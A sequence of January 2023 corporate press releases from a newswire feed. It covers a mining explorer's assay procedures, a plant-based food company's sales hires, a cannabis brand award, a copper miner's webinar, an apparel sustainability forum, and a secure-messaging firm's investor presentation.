Samples are submitted to American Assay Laboratories (AAL) of Sparks, Nevada, which is a certified and accredited laboratory, independent of the Company. Samples are prepared using industry-standard prep methods and analysed using FA-PB30-ICP (Au; 30 g fire assay) and ICP-5AM48 (48 element Suite; 0.5 g 5-acid digestion/ICP-MS) methods. AAL also undertakes its own internal coarse and pulp duplicate analysis to ensure proper sample preparation and equipment calibration. Ridgeline's QA/QC program includes regular insertion of CRM standards, duplicates, and blanks into the sample stream with a stringent review of all results completed by the Company's Qualified Person, Michael T. Harp, Vice President, Exploration.

Technical information contained in this news release has been reviewed and approved by Michael T. Harp, CPG. the Company's Vice President, Exploration, who is Ridgeline's Qualified Person under National Instrument 43-101 and responsible for technical matters of this release.

About Ridgeline Minerals Corp.

Ridgeline is a discovery focused gold-silver explorer with a proven management team and a 163 km exploration portfolio across five projects in Nevada and Idaho, USA. More information about Ridgeline can be found at www.RidgelineMinerals.com.

On behalf of the Board

"Chad Peters"

President & CEO

Further Information:

Chad Peters, P.Geo.

President & CEO

Ridgeline Minerals Corp.

1-866-RDG-NVAU (734-6828) - toll free | info@ridgelineminerals.com

Neither the TSX Venture Exchange nor its Regulation Service Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this press release.

Cautionary Note regarding Forward Looking Statements

Statements contained in this press release that are not historical facts are "forward-looking information" or "forward-looking statements" (collectively, "Forward-Looking Information") within the meaning of applicable Canadian securities legislation and the United States Private Securities Litigation Reform Act of 1995. Forward-Looking Information includes, but is not limited to, the anticipated benefits of the Earn-In Agreement and the transaction contemplated thereby. The words "potential", "anticipate", "meaningful", "discovery", "forecast", "believe", "estimate", "expect", "may", "will", "project", "plan", "historical", "historic" and similar expressions are intended to be among the statements that identify Forward-Looking Information. Forward-Looking Information involves known and unknown risks, uncertainties and other factors which may cause the actual results to be materially different from any future results expressed or implied by the Forward-Looking Information. In preparing the Forward-Looking Information in this news release, Ridgeline has applied several material assumptions, including, but not limited to, assumptions that TSX Venture Exchange approval will be granted in a timely manner subject only to standard conditions; the current objectives concerning the Project can be achieved and that its other corporate activities will proceed as expected; that general business and economic conditions will not change in a materially adverse manner; and that all requisite information will be available in a timely manner. Forward-Looking Information involves known and unknown risks, uncertainties and other factors which may cause the actual results, performance, or achievements of Ridgeline to be materially different from any future results, performance or achievements expressed or implied by the Forward-Looking Information. Such risks and other factors include, among others, risks related to dependence on key personnel; risks related to unforeseen delays; risks related to historical data that has not been verified by the Company; as well as those factors discussed in Ridgeline's public disclosure record. Although Ridgeline has attempted to identify important factors that could affect Ridgeline and may cause actual actions, events, or results to differ materially from those described in Forward-Looking Information, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. There can be no assurance that Forward-Looking Information will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on Forward-Looking Information. Except as required by law, Ridgeline does not assume any obligation to release publicly any revisions to Forward-Looking Information contained in this news release to reflect events or circumstances after the date hereof or to reflect the occurrence of unanticipated events.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152248
Planting Hope expands Sales and Marketing teams with hires of key industry veterans to build on sales momentum and distribution gains laid in 2022

The Company accelerates and expands sales reach with the addition of new top-tier national sales brokerage and consulting relationships in key channels

The Company is hosting an investor webcast on Thursday, January 26, 2023

CHICAGO, IL and VANCOUVER, BC / ACCESSWIRE / January 24, 2023 / The Planting Hope Company Inc. (TSXV:MYLK)(OTCQB:MYLKF)(FRA:J94) ("Planting Hope" or the "Company"), a plant-based food and beverage company focused on producing the world's most nutritious and planet-friendly products, is pleased to announce the expansion and addition of key sales and marketing team members and national sales brokerage and consulting partnerships across key focus growth channels for 2023, including Club, Natural/Specialty, and Foodservice.

"Building upon the groundwork we laid in 2022, including 10,000 retail doors and 60,000 total distribution points, in 2023 we are focusing on both increasing velocity through grocery retail distribution points and scaling in the foodservice channel," said Julia Stamberger, Co-founder and CEO. "To that end, we have added key team members and top-tier sales and business development relationships to support the accelerating momentum across our priority channels."

Brokerage and Sales Consulting Partnerships

The Company has secured new top national sales brokerage and consulting partnerships focused on expanding Sales growth into Foodservice, Grocery, and Club channels in the United States. These top-tier groups are highly selective in their choice of brands to back and drive sales adoption and acceleration. The Company's new relationships include:

Foodservice Channel - BizLink assists companies to accelerate business development and sales efforts in national foodservice accounts. With 30+ years' experience, BizLink works with top foodservice chains developing Limited Time Offers (LTOs), permanent menu items, and new platform innovations. BizLink's areas of focus include beverages, healthy menu items, and plant-based offerings.

- assists companies to accelerate business development and sales efforts in national foodservice accounts. With 30+ years' experience, BizLink works with top foodservice chains developing Limited Time Offers (LTOs), permanent menu items, and new platform innovations. BizLink's areas of focus include beverages, healthy menu items, and plant-based offerings. Conventional, Natural and Specialty Grocery - Alliance Sales & Marketing : Headquartered in Charlotte, North Carolina with 13 regional offices across the United States, Alliance is a top full-service national food brokerage, providing sales representation for brands to the Retail Grocery channel, including Conventional, Natural and Specialty Food Retailers.

: Headquartered in Charlotte, North Carolina with 13 regional offices across the United States, Alliance is a top full-service national food brokerage, providing sales representation for brands to the Retail Grocery channel, including Conventional, Natural and Specialty Food Retailers. Costco - Club Innovate pioneers innovative, emerging and better-for-you brands in Costco, with 15+ years of experience providing value to both Costco and their brand clients.

Planting Hope Sales & Marketing Team Development

The Company recently added industry veterans Tamar Hale, Georgia Jordan, and Corinn Williams to the Sales & Marketing teams to support Planting Hope's rapidly scaling brands.

Tamar and Georgia were hand-selected to join the team by Chief Sales Officer Mara Ebert, who worked with both at earlier points in her career at rapidly-scaling double- and triple-digit growth food and beverage companies.

Corinn joins the Company's Marketing team led by SVP Jeannie Andolena, to drive shopper marketing efforts and scale trial and velocity through current grocery retail placements.

Planting Hope's Sales and Shopper Marketing teams include:

Corinn Williams, Marketing Director: In her leadership roles in sales and marketing at Diageo, Anheuser-Busch and Fever-Tree, Corinn created strategic programming for established and challenger brands, getting products into consumer's hands and building brand awareness, driving trial, and increasing sales. Corinn joined the Company in January 2023.

In her leadership roles in sales and marketing at Diageo, Anheuser-Busch and Fever-Tree, Corinn created strategic programming for established and challenger brands, getting products into consumer's hands and building brand awareness, driving trial, and increasing sales. Corinn joined the Company in January 2023. Tamar Hale, Director of Sales, Natural Channel: Tamar is a 15-year sales veteran in the natural foods channel, focused on scaling brands from regional to national distribution, at fast-growth challenger brands like GoodPop and large consumer packaged goods (CPG) companies like Nestle. Tamar joined the team in September 2022.

Tamar is a 15-year sales veteran in the natural foods channel, focused on scaling brands from regional to national distribution, at fast-growth challenger brands like GoodPop and large consumer packaged goods (CPG) companies like Nestle. Tamar joined the team in September 2022. Georgia Jordan, Director of Conventional Grocery : Georgia has more than 30 years in the CPG industry profitably scaling sales for companies such as Applegate Farms, Georgia Pacific and Quaker Maid Meats both directly and through managing a network of broker partners. Georgia joined The Planting Hope Company in May 2022.

Georgia has more than 30 years in the CPG industry profitably scaling sales for companies such as Applegate Farms, Georgia Pacific and Quaker Maid Meats both directly and through managing a network of broker partners. Georgia joined The Planting Hope Company in May 2022. Wendy Lowing: Senior Sales Coordinator : Wendy provides critical support to the Sales team with data and item management expertise including Global Data Synchronization Network (GDSN) integration. Her experience includes Levain Bakery and Applegate Farms, where she worked with CSO Mara Ebert in a similar role.

Wendy provides critical support to the Sales team with data and item management expertise including Global Data Synchronization Network (GDSN) integration. Her experience includes Levain Bakery and Applegate Farms, where she worked with CSO Mara Ebert in a similar role. Emmanuel (Manu) Daval, Manager, Cafe and Foodservice Sales : Manu provides tactical in-market sales expertise with end-users in the cafe and foodservice sector. His previous foodservice experience includes Union Square Hospitality Group (Eleven Madison Park) and Guckenheimer Food Services.

Manu provides tactical in-market sales expertise with end-users in the cafe and foodservice sector. His previous foodservice experience includes Union Square Hospitality Group (Eleven Madison Park) and Guckenheimer Food Services. Jeannie Andolena, S VP Marketing + Ecommerce: With a background in CPG Brand Management and Ecommerce, Jeannie's experience ranges from managing multi-million-dollar marketing budgets to launching start-up brands. Her previous positions include roles at Reckitt Benckiser, Jet.com, VEDGEco, and Walmart.

With a background in CPG Brand Management and Ecommerce, Jeannie's experience ranges from managing multi-million-dollar marketing budgets to launching start-up brands. Her previous positions include roles at Reckitt Benckiser, Jet.com, VEDGEco, and Walmart. James Curley, Co-Founder and EVP Global Business Development: A co-founder of the Company, James has more than 35 years in senior sales management and brand development leadership for Natural/Specialty CPG companies including Giorgio Foods, The Tofurky Company, Mamma Chia, Nancy's Yogurt and others.

A co-founder of the Company, James has more than 35 years in senior sales management and brand development leadership for Natural/Specialty CPG companies including Giorgio Foods, The Tofurky Company, Mamma Chia, Nancy's Yogurt and others. Mara Ebert, Chief Sales Officer: Mara Ebert has more than 20 years of experience scaling aggressively growing, successful food brands, including Applegate Farms, Colgate-Palmolive, and GoodPop.

The Company's Management and Organizational Chart can be found here: Planting Hope Management and Organizational Chart.

Webcast Investor Presentation Upcoming - Thursday, January 26, 2023:

The Company will be hosting a webcast investor presentation on Thursday, January 26th, 2023, at 2:00PM ET. During the webcast, CEO Julia Stamberger will conduct a presentation covering key areas of Planting Hope's business. After the formal presentation, investors will have an opportunity to ask relevant questions through an interactive Q&A portal.

To listen to the webcast or to ask questions during the live event, please pre-register at the following link:

Webcast Link: CLICK HERE - Planting Hope Investor Webcast Registration

An archived version of the webcast and presentation will be available on the Company's website, CLICK HERE - Planting Hope Investor Presentations

RightRice Acquisition Update:

When the Company acquired the RightRice business in January 2022, the purchase price was comprised of a combination of cash and two unsecured promissory notes, the first of which was paid (with interest) on March 18, 2022. The remaining promissory note, in the principal amount of US$1,000,000, had a maturity date of January 14, 2023, but the Company has the right to withhold from payment on that note in an amount equal to the Company's good faith, reasonable estimate of the maximum amount of indemnifiable losses for Seller's breach of representations and warranties in the Asset Purchase Agreement. The Company has exercised that right of setoff in connection with indemnification claims it has asserted against the Seller and withheld payment on the note. The Seller disputes the Company's indemnification claims and that the Company is entitled to effect the setoff. The Company does not expect that this will have any adverse effect on the RightRice business.

About The Planting Hope Company Inc.

Planting Hope develops, launches, and scales uniquely innovative plant-based and planet-friendly food and beverage brands. Planting Hope's award-winning and cutting-edge products fill key unmet needs in the skyrocketing plant-based food and beverage space. The Planting Hope brand family includes Hope and Sesame Sesamemilk, Barista Blend Sesamemilk, and Sesamilk creamers, RightRice Veggie Rice, Mozaics Real Veggie Chips, and Veggicopia Veggie Snacks. Founded by experienced food industry entrepreneurs, Planting Hope is a women-managed and woman-led company focused on nutrition, sustainability, and diversity.

For more information about Planting Hope and where to find its award-winning plant-based brands please visit plantinghopecompany.com, sign up for Planting Hope news emails HERE and follow on LinkedIn. An informational webinar on The Planting Hope Company from CEO and Co-founder Julia Stamberger is available HERE. To follow the brands on Instagram and Facebook, please visit: @hopeandsesameco, @veggicopia, @rightrice, @mozaicschips.

Contacts

Company Contact:

Julia Stamberger

CEO and Co-founder

(773) 492-2243

julia@plantinghopecompany.com

Investor Relations Contacts:

Glen Akselrod, Bristol Capital

(905) 326-1888 ext. 1

glen@bristolir.com

Media Contact:

Alex Jessup, Jessup PR

(323) 529-3541

alex.jessup@jessuppr.com

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Forward-Looking Statements

This news release contains "forward-looking statements" or "forward-looking information" (collectively referred to hereafter as "forward-looking statements") within the meaning of applicable Canadian securities legislation. All statements that address activities, events, or developments that the Company expects or anticipates will, or may, occur in the future, including statements about the Company's ability to execute on its goals, the timing pertaining to these goals the potential demand for the Company's products, the timing and success of anticipated product launches and distribution of the Company's products, expectations regarding the Company's indemnification claims with respect to the acquisition of RightRice, and the Company's business prospects, future trends, plans and strategies. In some cases, forward looking statements are preceded by, followed by, or include words such as "may", "will," "would", "could", "should", "believes", "estimates", "projects", "potential", "expects", "plans", "anticipates", "continues", or the negative of those words or other similar or comparable words. In preparing the forward looking statements in this news release, the Company has applied several material assumptions, including, but not limited to, the assumption that demand for the Company's product will be sustained or increase in accordance with management's projections, that the Company's internal research and analysis is indicative of broader market trends and the Company's anticipated future demand for its products, that changes in consumer preferences in the plant-based food industry will continue in accordance with the Company's expectations, that the Company's current business objectives can be achieved and that its other corporate activities will proceed as expected, that the Company's indemnification claims with respect to the acquisition of RightRice and right of setoff in connection therewith will not have any material adverse effect on the RightRice business and that general business and economic conditions will not change in a materially adverse manner. Although the management of the Company believes that the assumptions made and the expectations represented by such statements are reasonable, there can be no assurance that any forward-looking statement herein will prove to be accurate. Forward-looking statements involve known and unknown risks, uncertainties, and other factors which may cause the actual results, performance, or achievements of the Company to be materially different from any future results, performance, or achievements expressed or implied by such forward-looking statements. Although management of the Company has attempted to identify important factors that could cause actual results to differ materially from those contained in forward-looking information, there may be other factors that cause results not to be as anticipated, estimated, or intended. Risks and uncertainties applicable to the Company, as well as trends identified by the Company affecting its industry can be found in the Company's annual information form dated January 6, 2022 and the Company's continuous disclosure record available on SEDAR at www.sedar.com. Such cautionary statements qualify all forward-looking statements made in this news release. The Company undertakes no obligation to update or revise any forward-looking statements, whether as a result of new information, future events, or otherwise, except as required by applicable law.

SOURCE: The Planting Hope Company Inc.

View source version on accesswire.com:https://www.accesswire.com/736447/Planting-Hope-Expands-National-Top-Tier-Sales-Broker-Representation-and-Internal-Sales-and-Marketing-Team
KELOWNA, BC / ACCESSWIRE / January 24, 2023 / Avant Brands Inc. (TSX:AVNT)(OTCQX:AVTBF)(FRA:1BU0) ("Avant" or the "Company") is pleased to announce that BLK MKT has been awarded the 2022 Cannabis Brand of the Year (Canada) by ADCANN.

The ADCANN Awards are known by industry peers, enthusiasts, and consumers as the most prestigious Cannabis Award for the Canadian Cannabis industry. Voting takes place in multiple stages across a 2-month period, and this year, received over 120,000 votes.

"When we started the company back in 2017, we had a mission to build Canada's most iconic cannabis brand, that would also be supported with consistent and quality products," said Norton Singhavon, CEO, Avant Brands. "BLK MKT winning the ADCANN 2022 Cannabis Brand of The Year award has been a result of our relentless efforts to achieve our mission. We are deeply humbled by this accomplishment and would like to thank all our consumers, budtenders, retail accounts and provincial buyers for your continued support in the brand and vision."

The Company also received an award for Best Rosin of 2022 at the KIND Awards, which accepted votes strictly from registered budtenders across Canada.

Additionally, the company was a top Finalist for the following categories:

Packaging of the Year, Cognoscente (ADCANN Awards)

(ADCANN Awards) Marketer of the Year, Adil Hirji (ADCANN Awards)

Blunt of the Year, BLK MKT (KIND Awards)

Craft Brand of the Year, BLK MKT (KIND Awards)

Craft Cultivator of the Year, BLK MKT (KIND Awards)

Indica Flower of the Year, BLK MKT (KIND Awards)

Packaging of the Year, BLK MKT (KIND Awards)

Pre-Roll of the Year, BLK MKT (KIND Awards)

About Avant Brands Inc.

Avant is an innovative, market-leading premium cannabis company. Avant has multiple licensed and operational production facilities across Canada, which produce high-quality, handcrafted cannabis products for our highly desired, and award-winning consumer brands, sold across both recreational and medical channels.

Avant's recreational consumer brands include: BLK MKT, Tenzo, Cognoscente and Treehugger, all produced from rare and exceptional cultivars, and sold in British Columbia, Ontario, Saskatchewan, Manitoba, New Brunswick, and the Yukon. The Company's medical cannabis brand, GreenTec, is distributed nationwide, directly to qualified patients through its GreenTec Medical portal, and through various medical cannabis partners.

Avant is a publicly traded corporation listed on the Toronto Stock Exchange (TSX:AVNT), and cross-trades on the OTCQX Best Market (OTCQX:AVTBF) and Frankfurt Stock Exchange (FRA: 1BU0). The Company is headquartered in Kelowna, British Columbia and has operations in British Columbia, Alberta and Ontario.

To learn more about Avant, to access the investor presentation, or learn more about its consumer brands, please visit www.avantbrands.ca.

For additional information, please contact:

Investor Relations at Avant Brands Inc.

1-800-351-6358

ir@avantbrands.ca

CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING INFORMATION:

This press release includes certain "forward-looking information" and "forward-looking statements" within the meaning of applicable securities laws (collectively, "forward-looking information"), including statements regarding the plans, intentions, beliefs and current expectations of the Company and IMC with respect to future business activities and operating performance. Forward-looking information is often, but not always, identified by the use of words such as "seek", "may", "would", "could", "should", "will", "likely", "intend", "plan", "anticipate", "believe", "estimate", and "expect" or similar expressions and statements that an event or result "may", "will", "should," "could" or "might" occur or be achieved and other similar expressions. Forward-looking information in this press release includes, without limitation, statements relating to the future export of cannabis from Canada to Israel; improvements in supply chain; enhancing the ability to provide high-quality cannabis products in Israel; expansion into global cannabis markets; and expectations for other economic, business, and/or competitive factors. Forward-looking information is necessarily based upon a number of estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking information.

Investors are cautioned that forward-looking information is not based on historical fact but instead reflects management's expectations, estimates or projections concerning future results or events based on the opinions, assumptions and estimates of management considered reasonable at the date the statements are made. Although the Company believes that the expectations reflected in such forward-looking information are reasonable, such information involves risks and uncertainties, and undue reliance should not be placed on such information, as unknown or unpredictable factors could have material adverse effects on future results, performance, or achievements of the Company. Among the key factors that could cause actual results to differ materially from those projected in the forward-looking information are the following: regulatory and licensing risks; changes in consumer demand and preferences; changes in general economic, business and political conditions, including changes in the financial markets; the global regulatory landscape and enforcement related to cannabis, including political risks and risks relating to regulatory change; compliance with extensive government regulation; public opinion and perception of the cannabis industry. Readers are cautioned that the foregoing list of assumptions and risk factors are not exhaustive.

Any forward-looking information included in this press release is made as of the date of this press release. The Company does not undertake any intention or obligation to update or revise any forward-looking information, except as required by applicable securities laws. Investors should not place undue reliance on forward-looking information. Forward-looking information contained in this press release are expressly qualified by this cautionary statement.

SOURCE: Avant Brands, Inc.

View source version on accesswire.com:https://www.accesswire.com/736392/BLK-MKT-Wins-ADCANN-2022-Cannabis-Brand-of-the-Year-Award
Company-wide capital expenditure guidance for 2023 and 2024 to be released on Tuesday, January 31

Investor conference call discussing 2023 Integrated Development Plan to be held on Tuesday, January 31

London, United Kingdom--(Newsfile Corp. - January 24, 2023) - Ivanhoe Mines (TSX: IVN) (OTCQX: IVPAF) will release the Kamoa-Kakula 2023 Integrated Development Plan (Kamoa-Kakula 2023 IDP), as well as the 2023 cash cost (C1) guidance for Kamoa-Kakula before market open on Monday, January 30, 2023.

In addition, before market open on Tuesday, January 31, 2022, the company will release its group-wide capital expenditure guidance for 2023 and 2024. On the same day at 10:30 a.m. Eastern time / 7:30 a.m. Pacific time, the Company will hold an investor webinar to discuss the Kamoa-Kakula 2023 IDP.

The webinar will include a video update from Kamoa-Kakula, as well as remarks from Ivanhoe's Co-Chairman Robert Friedland, President Marna Cloete, and members of the company's management team. To register and attend the webinar, click on the link below. There will be an opportunity to submit questions during the webinar session.

https://app.webinar.net/Xxn3K9eK9Ap

A recording of the webinar, together with supporting presentation slides, will be made available on Ivanhoe Mines' website at www.ivanhoemines.com.

A separate dial-in is available on +1-416-764-8650 or toll free +1-888-664-6383, quote "Ivanhoe Mines" if requested. Media are invited to attend on a listen-only basis.

About Ivanhoe Mines

Ivanhoe Mines is a Canadian mining company focused on advancing its three principal projects in Southern Africa; the expansion of the Kamoa-Kakula Mining Complex in the Democratic Republic of Congo, the construction of the tier-one Platreef palladium-rhodium-platinum-nickel-copper-gold project in South Africa; and the restart of the historic ultra-high-grade Kipushi zinc-copper-germanium-silver mine, also in the Democratic Republic of Congo.

Ivanhoe Mines is also exploring for new copper discoveries across its circa 2,400km2 of 90-100% owned exploration licences in the Western Foreland, which are located adjacent to the Kamoa-Kakula Mining Complex in the Democratic Republic of Congo.

Information contact



Follow Robert Friedland (@robert_ivanhoe) and Ivanhoe Mines (@IvanhoeMines_) on Twitter.

Investors

Vancouver: Matthew Keevil +1.604.558.1034

London: Tommy Horton +44 7866 913 207

Media

Tanya Todd +1.604.331.9834

Website www.ivanhoemines.com

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152290
SAN FRANCISCO, CA and AMSTERDAM and HONG KONG / ACCESSWIRE / January 24, 2023 / The Sustainable Apparel Coalition (SAC), an independent and impact-creating organization that brings together around half of the apparel industry to enable positive social and environmental impact at scale, is pleased to announce its strategic partnership with the Bangladesh Apparel Exchange (BAE) for its fourth edition of the Sustainable Apparel Forum. The event aims to bring together stakeholders to discuss and exchange ideas on how to advance sustainability within the textile and apparel industry.

Taking place on March 15 and 16, 2023, this year's Sustainable Apparel Forum will focus on five key subject areas of the apparel and textile supply chain: circular economy, climate impact & action, renewable energy & green funding, skill development and green job prospects and challenges. Delegates in attendance will include, garment manufacturers, brands and retailers, development partners, foreign missions and embassies in Bangladesh, impact creating organizations, apparel and textile associations, industry leaders, government officials, secretariats and ministers.

The first day of the forum will be geared towards roundtable discussions and workshop sessions on circularity, while day two, the main conference day of the event, will feature panel discussions, presentations & keynote speeches along with strategic guidelines from government officials and industry leaders.

Vidhura Rapanawe, Board Director, Andrew Martin, VP, Membership and Stakeholder Engagement, and Joyce Tsoi, Director of Collective Action Programs, along with other team members, will represent the SAC, including participation in a discussion on decarbonization and what it will take for the industry to achieve the necessary reduction of carbon emissions. The SAC will also actively participate and organize a special workshop for manufacturers as part of their continued stakeholder engagement efforts.

Andrew Martin, VP, Membership and Stakeholder Engagement at the Sustainable Apparel Coalition, said: "We're honored to be supporting the Bangladesh Apparel Exchange with the opportunity to leverage our strength in collaboration to move the industry forward. As an organization with equal partnership as a core value, and committed to steering the industry toward a shared vision for sustainability, we firmly believe that partnership is the new leadership. The Sustainable Apparel Forum presents a great opportunity to deepen our collaborations in the global south, ensuring they have a voice and can share their perspectives in our collective effort to find common ground to ultimately transform the industry."

Mostafiz Uddin, Founder and CEO of Bangladesh Apparel Exchange said: "Bangladesh Apparel Exchange has been established to promote the apparel industry of Bangladesh. One of the objectives of the BAE is ensuring the sustainable growth of the industry through its multifarious and meaningful initiatives. SAC has been our long-term partner for several years. Bangladesh Apparel Exchange believes that sustainability, technology and innovation are key to the progress of the Bangladesh apparel industry and, by working together with SAC, we aim to enable Bangladesh to progress as a responsible sourcing destination on the global map through to promotion of sustainability, innovation, technology and transparency in the industry."

The SAC previously partnered with the Bangladesh Apparel Exchange for their second edition of the Sustainable Apparel Forum in 2019. As a strategic partner, the SAC is committed to working together to find areas for deeper collaborations as it works towards its vision of a global consumer goods industry that gives more than it takes - to both people and planet.

The Sustainable Apparel Forum event is open for interested participants to register and join other stakeholders in discussions and networking sessions on how to accelerate progress to transform the industry.

-- ENDS -

About the Sustainable Apparel Coalition:

The Sustainable Apparel Coalition (SAC) is an independent and impact-creating organization that aims to lead the industry toward a shared vision of sustainability based upon a joint approach for measuring, evaluating, and improving performance.

As a non-profit organization, it has members from across the apparel, footwear and textile sector, but exists independently outside any one company so that it can drive progress. The SAC's collective action efforts bring more than 280 global brands, retailers, manufacturers, NGOs, academics and industry associations together. They represent about half of the apparel and footwear industry along the whole supply chain - from sustainability pioneers to organizations just getting started.

Before the SAC existed, companies worked in a siloed way, using their own programmes and measurements that lacked standardization and an ability to drive collective action. In 2009, Walmart and Patagonia identified this as a serious problem. Joining forces, they brought together peers and competitors from across the sector, to develop a universal approach to measuring sustainability performance and founded The Sustainable Apparel Coalition.

About the Bangladesh Apparel Exchange

Bangladesh Apparel Exchange (BAE) is a non-profit organization established to promote the apparel industry of Bangladesh. Since its inception, the Bangladesh Apparel Exchange (BAE) has been working for the sustainable growth of the country's apparel industry through its multifarious and meaningful initiatives. The BAE offers a platform for the exchange of knowledge and expertise, combined with best working practices.

The BAE is the largest private apparel initiative of Bangladesh - the second largest apparel exporting country in the world. Bangladesh currently exports apparel to about 160 countries. Bangladesh Apparel Exchange believes that sustainability, technology and innovation are keys to the progress of Bangladesh's apparel industry. BAE aims to enable Bangladesh to progress as a responsible sourcing destination on the global map through promotion of sustainability, innovation, technology and transparency in the industry.

View additional multimedia and more ESG storytelling from Sustainable Apparel Coalition on 3blmedia.com.

Contact Info:

Spokesperson: Sustainable Apparel Coalition

Website: https://www.3blmedia.com/profiles/sustainable-apparel-coalition

Email: info@3blmedia.com

SOURCE: Sustainable Apparel Coalition



SOURCE: Sustainable Apparel Coalition

View source version on accesswire.com:https://www.accesswire.com/736495/Sustainable-Apparel-Coalition-Partners-With-Bangladesh-Apparel-Exchange-for-the-Fourth-Edition-of-the-Sustainable-Apparel-Forum
TORONTO, ON and NEW YORK, NY / ACCESSWIRE / January 24, 2023 / Sekur Private Data Ltd. (OTCQX:SWISF)(CSE:SKUR)(FRA:GDT0) ("Sekur" or the "Company"), the leading Swiss hosted secure and private communications platform, is pleased to announce that it is presenting at the next Emerging Growth Conference is presenting on January 25th, 2023, at 11:25 AM EST. This live, interactive online event will give existing shareholders and the investment community the opportunity to interact with the Company's CEO, Alain Ghiai, in real time.

Alain Ghiai will perform a presentation and will subsequently open the floor for questions. Please ask your questions during the event and Alain Ghiai will do his best to get through as many of them as possible. Sekur Private Data Ltd. will be presenting on January 25th 2023 at 11:25 to 11:55 AM Eastern time for 30 minutes.

Please register here to ensure that you are able attend the conference and receive any updates that are released: Sekur Private Data Registration Link

If attendees are not able to join the event live on the day of the conference, an archived webcast will also be made available on EmergingGrowth.com and on the Emerging Growth YouTube Channel, http://www.YouTube.com/EmergingGrowthConference . We will release a link to that after the event.

Alain Ghiai, CEO of Sekur Private Data said: "We are very happy to be invited to present at the Emerging Growth Conference and introduce Sekur Private Data and our brand Sekur . With the high risks of hackers attacking the USA on all fronts, we offer an alternative to big-tech for privacy and security in communications with our Sekur privacy communications solutions and its many unique benefits, such as Swiss hosted data privacy and security, and the right for consumers and businesses not to have their data mined by third party service providers. As we are not connected, and never have been connected, "Big Tech" platforms, we can offer a truly independent, private and secure means of communications through our proprietary technology and our secure servers based in Switzerland."

Sekur, which includes SekurMessenger and SekurMail, is part of a bundle of email, messaging and file transfer into one application, includes the Company's latest SekurMail technology, which includes proprietary anti-phishing and privacy feature called SekurSend. SekurSend lets a user send an email to any other recipient, whether they have Sekur or not, in full privacy and security as the email never leaves Sekur 's encrypted email servers based in Switzerland. The recipient can then click on the notification and reply in the same manner using SekurReply, without the recipient having to register for a Sekur account. The sender can also decide to protect any email sent by adding a password to open it, a read-limit and a self-destruct timer as well. Sending an email with the SekurSend feature allows the senders and recipients to add limitless size attachments to the emails without crowding the recipients' email box. This also eliminates BEC attacks for businesses and email phishing attacks. Additionally, SekurMail includes full control of email delivery, automatic data export for large Enterprises and an automatic Data Loss Prevention technology ("DLP") with real time continuous archiving.

Recent data breaches in messaging applications have created a certain urgency for businesses and data privacy advocates to protect their communications from cyber-attacks and identity theft via mobile and desktop devices.

SekurMessenger now comes with a proprietary feature and technology called "Chat-By-Invites". This feature allows a SekurMessenger user ("SM user") invite a non-SM user, or a group of non-SM users, to chat in a fully private and secure way, without the recipient ever having to register to SekurMessenger or download the app. At the end of the chat, the initiator of the conversation can remotely terminate the conversation and all traces of the conversation are deleted from all users, including the recipient. This unique feature is now fully deployed and functional on all iOS and Android devices and web platforms. The target sectors are numerous, including but not limited to real estate, legal, finance, insurance, medical, government, energy, manufacturing, trade and pharmaceutical sectors.

SekurMessenger also eliminates many of the privacy and security risks by not only not requiring a phone number, which would divulge a user's phone device ID, but also by not social engineering a user's phone or computer contact list and infecting the contacts by default as well, eliminating a huge loophole in security and privacy. SekurMessenger issues each user a username and a Sekur number. The Sekur number is the contact ID a user would disclose in order for other Sekur users to be added. The service comes with a self-destruct timer and other features as well, including Sekur's proprietary VirtualVaults and HeliX technologies with all data stored in Swiss hosted encrypted servers.

Sekur's Data privacy solutions are all hosted in Switzerland, protecting users' data from any outside data intrusion requests. In Switzerland, the right to privacy is guaranteed in article 13 of the Swiss Federal Constitution. The Federal Act on Data Protection ("FADP") of 19 June 1992 (in force since 1993) has set up a strict protection of privacy by prohibiting virtually any processing of personal data which is not expressly authorized by the data subjects. The protection is subject to the authority of the Federal Data Protection and Information Commissioner.

Under Swiss federal law, it is a crime to publish information based on leaked "secret official discussions." In 2010 the Federal Supreme Court of Switzerland found that IP addresses are personal information and that under Swiss privacy laws they may not be used to track Internet usage without the knowledge of the individuals involved.

About the Emerging Growth Conference

The Emerging Growth conference is an effective way for public companies to present and communicate their new products, services and other major announcements to the investment community from the convenience of their office, in a time efficient manner. The Conference focus and coverage includes companies in a wide range of growth sectors, with strong management teams, innovative products & services, focused strategy, execution, and the overall potential for long term growth. Its audience includes potentially tens of thousands of Individual and Institutional investors, as well as Investment advisors and analysts.

About Sekur Private Data Ltd.

Sekur Private Data Ltd. is a leading Swiss hosted secure and private communications platform. The Company distributes a suite of encrypted e-mails, secure messengers, and secure and private communication solutions. Sekur Private Data Ltd. sells its solutions direct on its website www.sekur.com, and through its approved distributors, and telecommunications companies worldwide. Sekur Private Data Ltd. serves consumers, businesses and governments worldwide.

On behalf of Management

SEKUR PRIVATE DATA LTD.

Alain Ghiai

President and Chief Executive Officer

+1.416.644.8690

corporate@sekurprivatedata.com

For more information, please contact Sekur Private Data at corporate@sekurprivatedata.com or visit us at https://www.sekurprivatedata.com

For more information on Sekur visit us at: https://www.sekur.com .

Forward Looking Information

This news release contains certain forward-looking information within the meaning of applicable Canadian securities laws ("forward-looking statements"). All statements other than statements of present or historical fact are forward-looking statements. Forward-looking statements are often, but not always, identified by the use of words such as "anticipate", "achieve", "could", "believe", "plan", "intend", "objective", "continuous", "ongoing", "estimate", "outlook", "expect", "project" and similar words, including negatives thereof, suggesting future outcomes or that certain events or conditions "may" or "will" occur. These statements are only predictions. These statements reflect management's current estimates, beliefs, intentions and expectations; they are not guaranteeing future performance. Sekur cautions that all forward-looking statements are inherently uncertain and that actual performance may be affected by a number of material factors, many of which are beyond Sekur's control. Such factors include, among other things: risks and uncertainties relating to the future of the Company's business; the success of marketing and sales efforts of the Company; the projections prepared in house and projections delivered by channel partners; the Company's ability to complete the necessary software updates; increases in sales as a result of investments software development technology; consumer interest in the Products; future sales plans and strategies; reliance on large channel partners and expectations of renewals to ongoing agreements with these 